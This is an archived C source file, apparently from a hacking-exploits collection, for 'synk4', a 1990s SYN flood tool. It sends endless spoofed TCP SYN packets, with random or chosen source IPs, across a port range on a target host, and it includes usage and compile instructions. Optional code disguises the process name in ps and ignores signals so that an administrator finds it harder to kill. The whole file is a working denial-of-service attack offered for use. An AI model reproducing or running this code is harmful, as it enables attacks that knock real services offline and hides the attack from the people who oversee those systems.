home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Hacking & Misc / bundle of exploits.sit / bundle of exploits / synk4.c < prev    next >
C/C++ Source or Header  |  1998-07-17  |  8KB  |  331 lines

  1. /* Syn Flooder by Zakath
  2.  * TCP Functions by trurl_ (thanks man).
  3.  * Some more code by Zakath.
  4.  * Speed/Misc Tweaks/Enhancments -- ultima
  5.  * Nice Interface -- ultima
  6.  * Random IP Spoofing Mode -- ultima
  7.  * How To Use:
  8.  * Usage is simple. srcaddr is the IP the packets will be spoofed from.
  9.  * dstaddr is the target machine you are sending the packets to.
  10.  * low and high ports are the ports you want to send the packets to.
  11.  * Random IP Spoofing Mode: Instead of typing in a source address, 
  12.  * just use '0'. This will engage the Random IP Spoofing mode, and
  13.  * the source address will be a random IP instead of a fixed ip.
  14.  * Released: [4.29.97]
  15.  *  To compile: cc -o synk4 synk4.c
  16.  * 
  17.  */
  18. #include <signal.h>
  19. #include <stdio.h>
  20. #include <netdb.h>
  21. #include <sys/types.h>
  22. #include <sys/time.h>
  23. #include <netinet/in.h>
  24. #include <linux/ip.h>
  25. #include <linux/tcp.h>
  26. /* These can be handy if you want to run the flooder while the admin is on
  27.  * this way, it makes it MUCH harder for him to kill your flooder */
  28. /* Ignores all signals except Segfault */
  29. // #define HEALTHY
  30. /* Ignores Segfault */
  31. // #define NOSEGV
  32. /* Changes what shows up in ps -aux to whatever this is defined to */
  33. // #define HIDDEN "vi .cshrc"
  34. #define SEQ 0x28376839
  35. #define getrandom(min, max) ((rand() % (int)(((max)+1) - (min))) + (min))
  36.  
  37. unsigned long send_seq, ack_seq, srcport;
  38. char flood = 0;
  39. int sock, ssock, curc, cnt;
  40.  
  41. /* Check Sum */
  42. unsigned short
  43. ip_sum (addr, len)
  44. u_short *addr;
  45. int len;
  46. {
  47.     register int nleft = len;
  48.     register u_short *w = addr;
  49.     register int sum = 0;
  50.     u_short answer = 0;
  51.     
  52.     while (nleft > 1)
  53.       {
  54.           sum += *w++;
  55.           nleft -= 2;
  56.       }
  57.     if (nleft == 1)
  58.       {
  59.           *(u_char *) (&answer) = *(u_char *) w;
  60.           sum += answer;
  61.       }
  62.     sum = (sum >> 16) + (sum & 0xffff);   /* add hi 16 to low 16 */
  63.     sum += (sum >> 16);           /* add carry */
  64.     answer = ~sum;                /* truncate to 16 bits */
  65.     return (answer);
  66. }
  67. void sig_exit(int crap)
  68. {
  69. #ifndef HEALTHY
  70.     printf("HSignal Caught. Exiting Cleanly.\n");
  71.     exit(crap);
  72. #endif
  73. }
  74. void sig_segv(int crap)
  75. {
  76. #ifndef NOSEGV
  77.     printf("HSegmentation Violation Caught. Exiting Cleanly.\n");
  78.     exit(crap);
  79. #endif
  80. }
  81.  
  82. unsigned long getaddr(char *name) {
  83.     struct hostent *hep;
  84.     
  85.     hep=gethostbyname(name);
  86.     if(!hep) {
  87.         fprintf(stderr, "Unknown host %s\n", name);
  88.         exit(1);
  89.     }
  90.     return *(unsigned long *)hep->h_addr;
  91. }
  92.  
  93.  
  94. void send_tcp_segment(struct iphdr *ih, struct tcphdr *th, char *data, int dlen) {
  95.     char buf[65536];
  96.     struct {  /* rfc 793 tcp pseudo-header */
  97.         unsigned long saddr, daddr;
  98.         char mbz;
  99.         char ptcl;
  100.         unsigned short tcpl;
  101.     } ph;
  102.     
  103.     struct sockaddr_in sin;    /* how necessary is this, given that the destination
  104.                  address is already in the ip header? */
  105.     
  106.     ph.saddr=ih->saddr;
  107.     ph.daddr=ih->daddr;
  108.     ph.mbz=0;
  109.     ph.ptcl=IPPROTO_TCP;
  110.     ph.tcpl=htons(sizeof(*th)+dlen);
  111.     
  112.     memcpy(buf, &ph, sizeof(ph));
  113.     memcpy(buf+sizeof(ph), th, sizeof(*th));
  114.     memcpy(buf+sizeof(ph)+sizeof(*th), data, dlen);
  115.     memset(buf+sizeof(ph)+sizeof(*th)+dlen, 0, 4);
  116.     th->check=ip_sum(buf, (sizeof(ph)+sizeof(*th)+dlen+1)&~1);
  117.     
  118.     memcpy(buf, ih, 4*ih->ihl);
  119.     memcpy(buf+4*ih->ihl, th, sizeof(*th));
  120.     memcpy(buf+4*ih->ihl+sizeof(*th), data, dlen);
  121.     memset(buf+4*ih->ihl+sizeof(*th)+dlen, 0, 4);
  122.     
  123.     ih->check=ip_sum(buf, (4*ih->ihl + sizeof(*th)+ dlen + 1) & ~1);
  124.     memcpy(buf, ih, 4*ih->ihl);
  125.     
  126.     sin.sin_family=AF_INET;
  127.     sin.sin_port=th->dest;
  128.     sin.sin_addr.s_addr=ih->daddr;
  129.     
  130.     if(sendto(ssock, buf, 4*ih->ihl + sizeof(*th)+ dlen, 0, &sin, sizeof(sin))<0) {
  131.         printf("Error sending syn packet.\n"); perror("");
  132.         exit(1);
  133.     }
  134. }
  135.  
  136. unsigned long spoof_open(unsigned long my_ip, unsigned long their_ip, unsigned short port) {
  137.     int i, s;
  138.     struct iphdr ih;
  139.     struct tcphdr th;
  140.     struct sockaddr_in sin;
  141.     int sinsize;
  142.     unsigned short myport=6969;
  143.     char buf[1024];
  144.     struct timeval tv;
  145.     
  146.     ih.version=4;
  147.     ih.ihl=5;
  148.     ih.tos=0;            /* XXX is this normal? */
  149.     ih.tot_len=sizeof(ih)+sizeof(th);
  150.     ih.id=htons(random());
  151.     ih.frag_off=0;
  152.     ih.ttl=30;
  153.     ih.protocol=IPPROTO_TCP;
  154.     ih.check=0;
  155.     ih.saddr=my_ip;
  156.     ih.daddr=their_ip;
  157.     
  158.     th.source=htons(srcport);
  159.     th.dest=htons(port);
  160.     th.seq=htonl(SEQ);
  161.     th.doff=sizeof(th)/4;
  162.     th.ack_seq=0;
  163.     th.res1=0;
  164.     th.fin=0;
  165.     th.syn=1;
  166.     th.rst=0;
  167.     th.psh=0;
  168.     th.ack=0;
  169.     th.urg=0;
  170.     th.res2=0;
  171.     th.window=htons(65535);
  172.     th.check=0;
  173.     th.urg_ptr=0;
  174.     
  175.     gettimeofday(&tv, 0);
  176.     
  177.     send_tcp_segment(&ih, &th, "", 0); 
  178.     
  179.     send_seq = SEQ+1+strlen(buf);
  180. }
  181. void upsc()
  182. {
  183.     int i;
  184.     char schar;
  185.     switch(cnt)
  186.       {
  187.       case 0:
  188.             {
  189.                 schar = '|';
  190.                 break;
  191.             }
  192.       case 1:
  193.             {
  194.                 schar = '/';
  195.                 break;
  196.             }
  197.       case 2:
  198.             {
  199.                 schar = '-';
  200.                 break;
  201.             }
  202.       case 3:
  203.             {
  204.                 schar = '\\';
  205.                 break;
  206.             }
  207.       case 4:
  208.             {
  209.                 schar = '|';
  210.                 cnt = 0;
  211.                 break;
  212.             }
  213.       }
  214.     printf("H[%c] %d", schar, curc);
  215.     cnt++;
  216.     for(i=0; i<26; i++)  {
  217.         i++;
  218.         curc++;
  219.     }
  220. }
  221. void init_signals()
  222. {
  223.     // Every Signal known to man. If one gives you an error, comment it out!
  224.     signal(SIGHUP, sig_exit);
  225.     signal(SIGINT, sig_exit);
  226.     signal(SIGQUIT, sig_exit);
  227.     signal(SIGILL, sig_exit);
  228.     signal(SIGTRAP, sig_exit);
  229.     signal(SIGIOT, sig_exit);
  230.     signal(SIGBUS, sig_exit);
  231.     signal(SIGFPE, sig_exit);
  232.     signal(SIGKILL, sig_exit);
  233.     signal(SIGUSR1, sig_exit);
  234.     signal(SIGSEGV, sig_segv);
  235.     signal(SIGUSR2, sig_exit);
  236.     signal(SIGPIPE, sig_exit);
  237.     signal(SIGALRM, sig_exit);
  238.     signal(SIGTERM, sig_exit);
  239.     signal(SIGCHLD, sig_exit);
  240.     signal(SIGCONT, sig_exit);
  241.     signal(SIGSTOP, sig_exit);
  242.     signal(SIGTSTP, sig_exit);
  243.     signal(SIGTTIN, sig_exit);
  244.     signal(SIGTTOU, sig_exit);
  245.     signal(SIGURG, sig_exit);
  246.     signal(SIGXCPU, sig_exit);
  247.     signal(SIGXFSZ, sig_exit);
  248.     signal(SIGVTALRM, sig_exit);
  249.     signal(SIGPROF, sig_exit);
  250.     signal(SIGWINCH, sig_exit);
  251.     signal(SIGIO, sig_exit);
  252.     signal(SIGPWR, sig_exit);
  253. }
  254. main(int argc, char **argv) {
  255.    int i, x, max, floodloop, diff, urip, a, b, c, d;
  256.    unsigned long them, me_fake;
  257.    unsigned lowport, highport;
  258.    char buf[1024], *junk;
  259.    
  260.    init_signals();   
  261. #ifdef HIDDEN
  262.    for (i = argc-1; i >= 0; i--)
  263.      /* Some people like bzero...i prefer memset :) */
  264.      memset(argv[i], 0, strlen(argv[i]));
  265.    strcpy(argv[0], HIDDEN);
  266. #endif
  267.    
  268.    if(argc<5) {
  269.       printf("Usage: %s srcaddr dstaddr low high\n", argv[0]);
  270.       printf("    If srcaddr is 0, random addresses will be used\n\n\n");
  271.       
  272.       exit(1);
  273.    }
  274.    if( atoi(argv[1]) == 0 )
  275.      urip = 1;
  276.    else    
  277.      me_fake=getaddr(argv[1]);
  278.    them=getaddr(argv[2]);
  279.    lowport=atoi(argv[3]);
  280.    highport=atoi(argv[4]);
  281.    srandom(time(0));
  282.    ssock=socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
  283.    if(ssock<0) {
  284.       perror("socket (raw)");
  285.       exit(1);
  286.    }
  287.    sock=socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
  288.    if(sock<0) {
  289.       perror("socket");
  290.       exit(1);
  291.    }
  292.    junk = (char *)malloc(1024);
  293.    max = 1500;
  294.    i = 1;
  295.    diff = (highport - lowport);
  296.    
  297.    if (diff > -1) 
  298.      {
  299.     printf("H\n\nCopyright (c) 1980, 1983, 1986, 1988, 1990, 1991 The Regents of the University\n of California. All Rights Reserved.");
  300.     for (i=1;i>0;i++)
  301.       {
  302.          srandom((time(0)+i));
  303.          srcport = getrandom(1, max)+1000;
  304.          for (x=lowport;x<=highport;x++) 
  305.            {
  306.           if ( urip == 1 )
  307.             {
  308.                a = getrandom(0, 255);
  309.                b = getrandom(0, 255);
  310.                c = getrandom(0, 255);
  311.                d = getrandom(0, 255);
  312.                sprintf(junk, "%i.%i.%i.%i", a, b, c, d);
  313.                me_fake = getaddr(junk);
  314.             }
  315.           
  316.           spoof_open(/*0xe1e26d0a*/ me_fake, them, x);
  317.           /* A fair delay. Good for a 28.8 connection */ 
  318.           usleep(300);
  319.           
  320.           if (!(floodloop = (floodloop+1)%(diff+1))) {
  321.              upsc(); fflush(stdout);
  322.           }
  323.            }
  324.       }
  325.      }
  326.    else {
  327.       printf("High port must be greater than Low port.\n");
  328.       exit(1);
  329.    }
  330. }
  331.